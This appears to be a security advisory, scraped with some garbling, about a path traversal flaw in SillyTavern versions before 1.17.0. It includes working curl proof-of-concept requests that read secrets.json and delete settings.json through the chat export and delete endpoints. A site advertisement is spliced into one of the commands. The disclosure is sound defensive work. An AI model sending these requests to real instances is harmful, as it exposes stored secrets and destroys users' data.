| Package | Affected versions | Patched versions |
|---|---|---|
| sillytavern | < 1.17.0 | 1.17.0 |
| sillytavern | < 1.17.0 | 1.17.0 |
A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example secrets.json and settings.json) by supplying avatar_url="..".
The input validator used by avatar_url blocks only / and NUL bytes, but does not block traversal segments like ...
Evidence:
..):Because avatar_url=".." is accepted, path.join(<user>/chats, "..") resolves to <user>/, enabling direct access to files outside the chats directory.
Prerequisites:
cookie.txt)$TOKEN)Read sensitive file (secrets.json):
curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \
http://TARGET:8000/api/chats/export
Delete sensitive file ():
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freesettings.jsoncurl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \
-d '{"avatar_url":"..","chatfile":"settings.json"}' \
http://TARGET:8000/api/chats/delete
The issue was addressed in version 1.17.0